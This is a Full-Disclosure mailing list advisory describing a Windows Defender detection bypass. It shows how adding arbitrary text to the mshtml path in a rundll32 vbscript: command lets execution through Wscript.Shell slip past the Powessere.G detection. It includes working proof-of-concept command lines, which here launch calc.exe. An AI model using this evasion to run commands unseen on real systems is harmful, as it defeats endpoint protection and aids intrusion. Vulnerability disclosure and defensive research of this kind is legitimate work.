full-disclosure - [FD] Microsoft Windows Defender / VBScript Detection Bypass

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Message-ID: <CAFD2FDNt2aFvizEWkWVcS1Uhe5YYp6ysygWkav-Zr+nXXgao0g@mail.gmail.com>
Date: Tue, 20 Feb 2024 23:58:54 -0500
From: hyp3rlinx <apparitionsec@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Microsoft Windows Defender / VBScript Detection Bypass

[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_VBSCRIPT_TROJAN_MITIGATION_BYPASS.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec

[Vendor]
www.microsoft.com

[Product]
Windows Defender

[Vulnerability Type]
Windows Defender VBScript Detection Mitigation Bypass
TrojanWin32Powessere.G

[CVE Reference]
N/A

[Security Issue]
Typically, Windows Defender detects and prevents TrojanWin32Powessere.G aka
"POWERLIKS" type execution that leverages rundll32.exe. Attempts at
execution fail
and attackers will typically get an "Access is denied" error message.
Previously I have disclosed 3 bypasses using rundll32 javascript, this
example leverages VBSCRIPT and ActiveX engine.

Running rundll32
vbscript:"\\..\\mshtml\\..\\mshtml\\..\\mshtml,RunHTMLApplication
"+String(CreateObject("Wscript.Shell").Run("calc.exe"),0), will typically
get blocked by Windows Defender with
an "Access is denied" message.

Trojan:Win32/Powessere.G
Category: Trojan
This program is dangerous and executes commands from an attacker.

However, you can add arbitrary text for the 2nd mshtml parameter to build
off my previous javascript based bypasses to skirt defender detection.
Example, adding "shtml", "Lol" or other text and it will execute as of the
time of this writing.

E.g.

C:\sec>rundll32
vbscript:"\\..\\mshtml\\..\\PWN\\..\\mshtml,RunHTMLApplication
"+String(CreateObject("Wscript.Shell").Run("calc.exe"),0)

[References]
https://twitter.com/hyp3rlinx/status/1759260962761150468
https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART_3.txt
https://lolbas-project.github.io/lolbas/Binaries/Rundll32/

[Exploit/POC]
C:\sec>rundll32
vbscript:"\\..\\mshtml\\..\\mshtml\\..\\mshtml,RunHTMLApplication
"+String(CreateObject("Wscript.Shell").Run("calc.exe"),0)
Access is denied.

C:\sec>rundll32
vbscript:"\\..\\mshtml\\..\\LoL\\..\\mshtml,RunHTMLApplication
"+String(CreateObject("Wscript.Shell").Run("calc.exe"),0)

We win!

[Network Access]
Local

[Severity]
High

[Disclosure Timeline]
Vendor Notification:
February 18, 2024 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
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